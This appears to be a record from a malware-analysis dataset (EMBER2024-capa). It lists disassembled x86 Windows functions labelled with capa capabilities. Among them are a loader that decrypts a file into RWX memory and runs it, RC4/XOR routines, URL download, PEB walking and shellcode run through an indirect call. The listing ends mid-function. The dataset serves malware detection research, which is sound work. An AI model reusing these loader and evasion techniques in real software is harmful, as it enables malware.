joyce8/EMBER2024-capa huggingface dataset:
Function at 0x11dab680
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x11dd14fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x11dd47d8]
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea edi, [esi + 8]
mov dword [edi], eax
mov ecx, dword [0x11dd47d8]
lea ebp, [esi + 0x18]
xor ebx, ebx
mov dword [esp + 0x1c], ebx
mov dword [ebp], ecx
mov edx, dword [0x11dd47d8]
mov dword [esi + 0x20], edx
lea ecx, [esi + 0x28]
mov byte [esp + 0x1c], 2
call fcn.11dc8e10
mov eax, dword [esp + 0x24]
mov ecx, edi
push eax
mov byte [esp + 0x20], 3
mov dword [esi], 0x11dd5e4c
mov dword [esi + 4], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x1c], ebx
mov word [esi + 0x24], 0xffff
call fcn.11d670c0
mov eax, dword [esp + 0x28]
mov cx, word [esp + 0x30]
test eax, 0xffff0000
mov word [esi + 0x24], cx
mov dword [esi + 0x14], eax
je 0x11dab723
push eax
mov ecx, ebp
call fcn.11d670c0
mov edx, dword [ebp]
mov dword [esi + 0x14], edx
mov eax, dword [esp + 0x2c]
test eax, 0xffff0000
mov dword [esi + 0x1c], eax
je 0x11dab741
lea edi, [esi + 0x20]
push eax
mov ecx, edi
call fcn.11d670c0
mov eax, dword [edi]
mov dword [esi + 0x1c], eax
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10
Function at 0x11daf240
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x11dd5e98
push 0x11d82ba0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov ecx, dword [ebp + 8]
xor edx, edx
cmp ecx, edx
je 0x11daf2d2
mov dword [ebp - 4], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], ecx
cmp word [ecx], 0x5a4d
jne 0x11daf2cb
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x20], eax
cmp dword [eax], 0x4550
jne 0x11daf2cb
cmp word [eax + 0x14], dx
je 0x11daf2cb
cmp dword [ebp + 0xc], edx
je 0x11daf2a5
cmp word [eax + 4], 0x14c
jne 0x11daf2cb
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x11daf3c0
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
test ebx, ebx
push edi
je 0x11daf40d
mov edi, dword [esp + 0x18]
test edi, edi
je 0x11daf40d
mov eax, dword [ebx + 0x3c]
xor ecx, ecx
add eax, ebx
xor edx, edx
mov cx, word [eax + 0x14]
mov dx, word [eax + 6]
lea esi, [ecx + eax + 0x18]
xor ecx, ecx
test edx, edx
mov dword [esp + 0x14], esi
jbe 0x11daf40d
lea eax, [esi + 0x10]
mov esi, dword [eax - 4]
cmp edi, esi
jb 0x11daf405
mov ebp, dword [eax]
add ebp, esi
cmp edi, ebp
jb 0x11daf414
inc ecx
add eax, 0x28
cmp ecx, edx
jb 0x11daf3f6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [esp + 0x14]
lea edx, [ecx + ecx*4]
mov esi, dword [eax + edx*8 + 0xc]
lea ecx, [eax + edx*8]
mov eax, dword [eax + edx*8 + 0x14]
sub eax, esi
add eax, ebx
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x11dafce0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x11dd5ea8
push 0x11d82ba0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x20]
push eax
mov edi, dword [ebp + 0x14]
push edi
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.11daf460
add esp, 0x10
mov esi, eax
cmp esi, ebx
je 0x11dafd93
mov eax, dword [esi]
push eax
mov eax, dword [ebp - 0x20]
push eax
call edi
add esp, 8
mov dword [ebp - 0x24], eax
mov edi, dword [ebp + 0x10]
sub edi, dword [ebp - 0x20]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], ebx
lea ecx, [ebp - 0x30]
push ecx
push 0x40
push 4
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
test eax, eax
je 0x11dafd8c
mov dword [esi], edi
lea edx, [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x30]
push eax
push 4
push esi
call ebx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x11db0650
Capabilities:
Initialize winsock library

Disassembly:
mov eax, dword [0x11dfdabc]
sub esp, 0x190
test eax, eax
je 0x11db066b
mov eax, 1
add esp, 0x190
ret
push edi
mov ecx, 0x63
xor eax, eax
lea edi, [esp + 6]
mov word [esp + 4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
pop edi
je 0x11db06a0
xor eax, eax
add esp, 0x190
ret
mov eax, 1
mov dword [0x11dfdabc], eax
add esp, 0x190
ret
Function at 0x11db0be0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x11dd1a6f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov ecx, dword [0x11dd47d8]
push ebx
xor eax, eax
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
mov ecx, 9
lea edi, [esp + 0x16]
mov ebx, dword [esp + 0x50]
mov word [esp + 0x14], ax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, ebx
lea edx, [esp + 0x14]
push 0xa
push edx
shr eax, 0x18
push eax
mov dword [esp + 0x50], 1
call fcn.11dcb82a
add esp, 0xc
lea ecx, [esp + 0xc]
push eax
call fcn.11d67a90
push 0x11deef3c
lea ecx, [esp + 0x10]
call fcn.11d67a90
xor edx, edx
lea ecx, [esp + 0x14]
mov dl, byte [esp + 0x52]
push 0xa
push ecx
push edx
call fcn.11dcb82a
add esp, 0xc
lea ecx, [esp + 0xc]
push eax
call fcn.11d67a90
push 0x11deef3c
lea ecx, [esp + 0x10]
call fcn.11d67a90
xor ecx, ecx
lea eax, [esp + 0x14]
push 0xa
mov cl, bh
push eax
push ecx
call fcn.11dcb82a
add esp, 0xc
lea ecx, [esp + 0xc]
push eax
call fcn.11d67a90
push 0x11deef3c
lea ecx, [esp + 0x10]
call fcn.11d67a90
lea edx, [esp + 0x14]
push 0xa
and ebx, 0xff
push edx
push ebx
call fcn.11dcb82a
add esp, 0xc
lea ecx, [esp + 0xc]
push eax
call fcn.11d67a90
mov esi, dword [esp + 0x4c]
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call fcn.11d66440
mov dword [esp + 0x10], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x44], 0
call fcn.11d66e40
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
add esp, 0x3c
ret

Function at 0x11db0e50
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x11dd1acf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov ecx, dword [0x11dd47d8]
push ebx
xor eax, eax
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
mov ecx, 9
lea edi, [esp + 0x16]
mov ebx, dword [esp + 0x50]
mov word [esp + 0x14], ax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, ebx
lea edx, [esp + 0x14]
push 0xa
push edx
shr eax, 0x18
push eax
mov dword [esp + 0x50], 1
call fcn.11dcb82a
add esp, 0xc
lea ecx, [esp + 0xc]
push eax
call fcn.11d67a90
push 0x11deef3c
lea ecx, [esp + 0x10]
call fcn.11d67a90
xor edx, edx
lea ecx, [esp + 0x14]
mov dl, byte [esp + 0x52]
push 0xa
push ecx
push edx
call fcn.11dcb82a
add esp, 0xc
lea ecx, [esp + 0xc]
push eax
call fcn.11d67a90
push 0x11deef3c
lea ecx, [esp + 0x10]
call fcn.11d67a90
xor ecx, ecx
lea eax, [esp + 0x14]
push 0xa
mov cl, bh
push eax
push ecx
call fcn.11dcb82a
add esp, 0xc
lea ecx, [esp + 0xc]
push eax
call fcn.11d67a90
push 0x11deef3c
lea ecx, [esp + 0x10]
call fcn.11d67a90
lea edx, [esp + 0x14]
push 0xa
and ebx, 0xff
push edx
push ebx
call fcn.11dcb82a
add esp, 0xc
lea ecx, [esp + 0xc]
push eax
call fcn.11d67a90
mov esi, dword [esp + 0x4c]
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call fcn.11d66440
mov dword [esp + 0x10], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x44], 0
call fcn.11d66e40
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
add esp, 0x3c
ret
Function at 0x11dc0360
Capabilities:
Get user security identifier

Disassembly:
sub esp, 8
push ebx
push ebp
mov ebp, dword [esp + 0x14]
lea eax, [esp + 0x18]
push edi
mov edi, dword [esp + 0x1c]
lea ecx, [esp + 0xc]
xor ebx, ebx
push eax
push ecx
lea edx, [esp + 0x18]
push ebx
push edx
push ebx
push ebp
push ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], ebx
mov dword [edi], ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
jne 0x11dc03ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x11dc03ab
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [esp + 0x10]
push esi
push eax
call fcn.11d788e0
mov ecx, dword [esp + 0x14]
mov dword [edi], eax
lea edx, [ecx + ecx]
push edx
call fcn.11d788e0
mov esi, eax
mov eax, dword [edi]
add esp, 8
test eax, eax
je 0x11dc03f0
test esi, esi
je 0x11dc0401
lea ecx, [esp + 0x20]
lea edx, [esp + 0x10]
push ecx
push edx
lea ecx, [esp + 0x1c]
push esi
push ecx
push eax
push ebp
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
mov ebx, eax
test esi, esi
je 0x11dc03fd
push esi
call fcn.11d788ee
add esp, 4
test ebx, ebx
jne 0x11dc0410
mov edi, dword [edi]
test edi, edi
je 0x11dc0410
push edi
call fcn.11d788ee
add esp, 4
pop esi
pop edi
mov eax, ebx
pop ebp
pop ebx
add esp, 8
ret
Function at 0x11dc7f40
Capabilities:
Get disk information

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x11dd3470
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
push edi
push 0xffffffffffffffff
push 0
mov ecx, esi
call fcn.11d6c7d0
mov edi, dword [esp + 0x3c]
push 0xffffffffffffffff
push 0
mov ecx, edi
call fcn.11d6c7d0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebp, eax
mov eax, dword [0x11dfe190]
test eax, eax
je 0x11dc7ff8
cmp ebp, eax
jne 0x11dc7ff8
mov eax, dword [0x11dfe194]
test eax, eax
je 0x11dc7ff8
cmp ebx, eax
jb 0x11dc7ff8
add eax, 0x493e0
cmp eax, ebx
jb 0x11dc7ff8
mov ebp, dword [0x11dfe198]
push 1
inc ebp
push 0x11dfe0b0
lea ecx, [esp + 0x18]
mov dword [0x11dfe198], ebp
call fcn.11d750e0
push 0x11dfe0e0
mov ecx, esi
mov dword [esp + 0x34], 0
call fcn.11d6c9b0
push 0x11dfe0d0
mov ecx, edi
call fcn.11d6c9b0
mov dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 0x10]
jmp 0x11dc806e
push edi
push esi
mov dword [0x11dfe198], 0
call fcn.11dc8370
add esp, 8
lea ecx, [esp + 0x1c]
push 1
push 0x11dfe0b0
call fcn.11d750e0
push 0xffffffffffffffff
push 0
mov ecx, 0x11dfe0e0
mov dword [esp + 0x38], 1
mov dword [0x11dfe190], ebp
mov dword [0x11dfe194], ebx
call fcn.11d6c7d0
push esi
mov ecx, 0x11dfe0e0
call fcn.11d6c9b0
push 0xffffffffffffffff
push 0
mov ecx, 0x11dfe0d0
call fcn.11d6c7d0
push edi
mov ecx, 0x11dfe0d0
call fcn.11d6c9b0
mov dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 0x1c]
call fcn.11d75140
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x11dc8370
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x11dd34d6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x224
push ebx
push ebp
push esi
mov esi, dword [esp + 0x240]
push edi
xor ebx, ebx
push 0xffffffffffffffff
push ebx
mov ecx, esi
call fcn.11d6c7d0
mov ebp, dword [esp + 0x248]
push 0xffffffffffffffff
push ebx
mov ecx, ebp
call fcn.11d6c7d0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [esp + 0x28], eax
xor eax, eax
mov dword [esp + 0x10], 1
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x10]
test ecx, edx
je 0x11dc84a9
mov edx, dword [0x11df7510]
mov cx, word [0x11df7514]
mov dword [esp + 0x18], edx
add word [esp + 0x18], ax
lea edx, [esp + 0x18]
mov word [esp + 0x1c], cx
push edx
lea ecx, [esp + 0x28]
mov word [esp + 0x22], bx
call fcn.11d666a0
mov eax, dword [esi + 4]
lea ecx, [esp + 0x24]
push ecx
push eax
mov ecx, esi
mov dword [esp + 0x244], ebx
call fcn.11d6cd70
mov edx, dword [0x11dd47d8]
mov dword [esp + 0x14], edx
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x2e]
mov word [esp + 0x2c], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x2c]
push 0x104
lea ecx, [esp + 0x1c]
push eax
push ecx
mov byte [esp + 0x248], 1
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x14]
push edx
mov word [esp + 0x236], bx
call fcn.11d670c0
mov eax, dword [ebp + 4]
lea ecx, [esp + 0x14]
push ecx
push eax
mov ecx, ebp
call fcn.11d6cd70
lea ecx, [esp + 0x14]
mov byte [esp + 0x23c], bl
call fcn.11d66e40
lea ecx, [esp + 0x24]
mov dword [esp + 0x23c], 0xffffffff
call fcn.11d66e40
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
inc eax
shl edx, 1
cmp eax, 0x1a
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], edx
jb 0x11dc83cb
mov ecx, dword [esp + 0x234]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x230
ret

Function at 0x11dcbaa2
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
xor ebx, ebx
push edi
lea ebp, [esi + 0x42c]
lea edi, [esi + 0x2c]
mov ecx, 0x100
xor eax, eax
push ebx
mov dword [esi], ebx
mov dword [esi + 4], 0xffffffff
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [ebp], ebx
push 0x80
push 3
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x20]
push ebx
lea edi, [esi + 0xc]
push 7
push closesocket
push eax
mov dword [esi + 8], ebx
mov dword [edi], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], 1
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esi + 4], eax
je 0x11dcbb32
cmp eax, ebx
je 0x11dcbb32
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esi + 4]
mov dword [esi + 8], eax
push ebx
push ebp
lea eax, [esi + 0x2c]
push 0x400
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x11dcbb3a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x11dcbce5
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x11dcbe37
xor edx, edx
cmp eax, edx
je 0x11dcbe37
mov ebx, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x14], edx
lea eax, [ebx + ecx]
cmp eax, ebx
jb 0x11dcbd1a
cmp eax, ecx
jb 0x11dcbd1a
xor ecx, ecx
jmp 0x11dcbd1f
mov ecx, 1
mov edi, dword [esi + 0xc]
mov dword [esp + 0x14], ecx
cmp ecx, edi
jl 0x11dcbd39
jg 0x11dcbe37
cmp eax, dword [esi + 8]
ja 0x11dcbe37
cmp ecx, edx
jne 0x11dcbd53
cmp eax, dword [esi + 0x42c]
ja 0x11dcbd53
lea eax, [ebx + esi + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
mov ebp, dword [esi + 0x1c]
cmp ebp, edx
je 0x11dcbd98
mov ecx, dword [esi + 0x28]
mov dword [esp + 0x1c], edx
mov edx, dword [esi + 0x24]
lea edi, [edx + ecx]
cmp edi, ecx
jb 0x11dcbd73
cmp edi, edx
jb 0x11dcbd73
xor edx, edx
jmp 0x11dcbd78
mov edx, 1
cmp ecx, ebx
ja 0x11dcbd98
cmp dword [esp + 0x14], edx
jg 0x11dcbd98
jl 0x11dcbd88
cmp eax, edi
ja 0x11dcbd98
mov eax, ebp
pop edi
sub eax, ecx
pop esi
add eax, ebx
pop ebp
pop ebx
add esp, 0x10
ret 8
mov eax, dword [esp + 0x28]
mov ecx, esi
push eax
call fcn.11dcbe50
test eax, eax
je 0x11dcbe37
cmp ebx, 0x7fffffff
push 0
push 0
jbe 0x11dcbde6
mov ecx, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push closesocket
push ecx
call edi
cmp eax, 0xffffffff
je 0x11dcbe27
mov eax, dword [esi + 4]
push 1
lea edx, [ebx - 0x7fffffff]
push 0
push edx
push eax
call edi
cmp eax, 0xffffffff
je 0x11dcbe27
jmp 0x11dcbdf6
mov ecx, dword [esi + 4]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x11dcbe27
mov ebp, dword [esp + 0x28]
mov edx, dword [esi + 0x1c]
mov eax, dword [esi + 4]
lea edi, [esi + 0x24]
push 0
push edi
push ebp
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x11dcbe27
cmp dword [edi], ebp
jne 0x11dcbe27
mov eax, dword [esi + 0x1c]
mov dword [esi + 0x28], ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
xor eax, eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 8
Function at 0x417311
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov eax, 0x437997
call fcn.0041af84
sub esp, 0x18
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
nop
push 0x100
call fcn.0041af44
mov edi, eax
mov dword [ebp - 0x24], edi
lea esi, [edi + 0x100]
push esi
push edi
mov dword [ebp - 0x1c], esi
call fcn.004176c2
add esp, 0xc
mov dword [ebp - 0x20], esi
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
mov byte [ebp - 4], 1
call fcn.004176de
nop
mov dword [ebp - 0x10], ebx
mov eax, ebx
mov byte [edi + eax], al
inc eax
cmp eax, 0x100
jl 0x417362
nop
mov eax, ebx
mov ebx, dword [ebp + 0x24]
mov dword [ebp - 0x14], eax
cmp dword [ebx + 0x14], 7
mov ecx, ebx
jbe 0x417380
mov ecx, dword [ebx]
lea esi, [edi + eax]
xor edx, edx
div dword [ebx + 0x10]
movzx eax, word [ecx + edx*2]
add eax, dword [ebp - 0x10]
movzx ecx, byte [esi]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x10], eax
add eax, edi
push eax
push esi
call fcn.004172fc
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
pop ecx
pop ecx
cmp eax, 0x100
jl 0x417376
nop
xor ebx, ebx
mov ecx, ebx
mov dword [ebp - 0x14], ebx
cmp dword [ebp + 0x1c], ecx
jbe 0x417424
mov esi, dword [ebp - 0x24]
lea eax, [ebx + 1]
movzx ebx, al
add edi, ebx
movzx eax, byte [edi]
add eax, ecx
movzx ecx, al
add esi, ecx
mov dword [ebp - 0x10], ecx
push esi
push edi
call fcn.004172fc
movzx eax, byte [esi]
lea esi, [ebp + 0xc]
pop ecx
pop ecx
movzx ecx, byte [edi]
mov edi, dword [ebp - 0x24]
add ecx, eax
cmp dword [ebp + 0x20], 7
movzx eax, cl
cmova esi, dword [ebp + 0xc]
mov cl, byte [eax + edi]
mov eax, dword [ebp + 8]
mov edx, eax
cmp dword [eax + 0x14], 7
jbe 0x41740a
mov edx, dword [eax]
movzx eax, cl
mov ecx, dword [ebp - 0x14]
xor ax, word [esi + ecx*2]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x10]
jb 0x4173c0
nop
lea ecx, [ebp - 0x24]
call fcn.004178e1
lea ecx, [ebp + 0xc]
call fcn.00417904
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x417447
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0041afb0
push ebx
push edi
nop
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp dword [edi + 0x10], ebx
je 0x41752b
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x10], ebx
je 0x41752b
nop
cmp dword [eax + 0x14], 7
mov dword [ebp - 8], ebx
jbe 0x41747d
mov eax, dword [eax]
push esi
lea ecx, [ebp - 8]
push ecx
push ebx
push 1
push 0x80
push 0x1001
push eax
call dword [sym.imp.SHLWAPI.dll_SHCreateStreamOnFileEx]
mov esi, eax
test esi, esi
js 0x417526
cmp dword [edi + 0x14], 7
mov dword [ebp - 4], ebx
jbe 0x4174ab
mov edi, dword [edi]
push ebx
push ebx
lea eax, [ebp - 4]
push eax
push edi
push ebx
call sub.urlmon.dll_URLOpenBlockingStreamW
mov esi, eax
test esi, esi
js 0x41751d
mov edi, 0x80004005
mov ebx, 0x1000
mov esi, edi
jmp 0x4174f7
cmp dword [ebp + 8], 0
jbe 0x417514
mov eax, dword [ebp - 8]
lea edx, [ebp - 0xc]
push edx
push dword [ebp + 8]
lea edx, [ebp - 0x100c]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x10]
mov esi, eax
test esi, esi
js 0x417512
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0xc]
jne 0x417512
mov eax, dword [ebp - 4]
lea edx, [ebp + 8]
push edx
push ebx
lea edx, [ebp - 0x100c]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x4174cc
jmp 0x417514
mov esi, edi
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, esi
pop esi
jmp 0x417530
mov eax, 0x80070057
pop edi
pop ebx
leave
ret

Function at 0x417534
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x14], 7
jbe 0x417540
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x417553
test al, 0x10
jne 0x417553
mov al, 1
ret
xor al, al
ret

Function at 0x417972
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
jbe 0x417999
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
xor edx, edx
mov eax, ecx
div dword [ebp + 0x14]
mov al, byte [edx + edi]
xor byte [ecx + esi], al
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0x417984
pop edi
pop esi
pop ebp
ret
Function at 0x4179e9
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
mov eax, 0x4379b8
call fcn.0041af84
sub esp, 0x30
push ebx
push esi
push edi
call fcn.00417963
nop
nop
nop
nop
nop
nop
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.C:Program_FilesNTUSER.DXM
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], edi
nop
nop
nop
nop
nop
nop
test esi, esi
je 0x417b64
nop
nop
nop
nop
nop
nop
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
test ebx, ebx
je 0x417b64
nop
nop
nop
nop
nop
nop
push 0x40
push 0x1000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 1
test edi, edi
je 0x417b19
nop
nop
nop
nop
nop
nop
push 0
lea eax, [ebp - 0x1c]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417b19
nop
nop
nop
nop
nop
nop
mov dword [ebp - 0x3c], 0x14537221
mov dword [ebp - 0x38], 0xb8a79685
mov dword [ebp - 0x34], 0xfcebdac9
mov dword [ebp - 0x30], 0x302f1e0d
mov dword [ebp - 0x2c], 0xd3274b9f
mov dword [ebp - 0x28], 0x2acd8e51
mov dword [ebp - 0x24], 0x56a13cbf
mov dword [ebp - 0x20], 0x3d9a78e4
nop
nop
nop
nop
nop
nop
push 0x10
lea eax, [ebp - 0x2c]
push eax
push 0x10
lea eax, [ebp - 0x3c]
push eax
push ebx
push edi
call fcn.0041799b
add esp, 0x18
nop
nop
nop
nop
nop
nop
push edi
call section..text
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
jne 0x417b2f
push 0x438334
push 0x4483b0
call fcn.00417b87
push eax
call fcn.00417ef8
add esp, 0xc
xor ebx, ebx
test edi, edi
je 0x417b66
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x417b66
nop
nop
nop
nop
nop
nop
call fcn.00417963
push str._MainLogic_0
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
nop
nop
nop
nop
nop
nop
test ebx, ebx
jne 0x417b5c
push dword [ebp - 0x10]
call fcn.004013e0
jmp 0x417b19
nop
nop
nop
nop
nop
nop
jmp 0x417b1b
mov ebx, edi
test esi, esi
je 0x417b76
cmp esi, 0xffffffff
je 0x417b76
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x4186a6
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebx
xor ebx, ebx
push edi
mov edi, ecx
cmp dword [esp + 0x10], ebx
jbe 0x41870b
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov eax, dword [edi + 0x100]
inc eax
movzx esi, al
mov dword [edi + 0x100], esi
movzx eax, byte [esi + edi]
add eax, dword [edi + 0x104]
movzx edx, al
mov dword [edi + 0x104], edx
mov cl, byte [esi + edi]
mov al, byte [edx + edi]
mov byte [esi + edi], al
mov byte [edx + edi], cl
mov eax, dword [edi + 0x104]
mov ecx, dword [edi + 0x100]
mov al, byte [eax + edi]
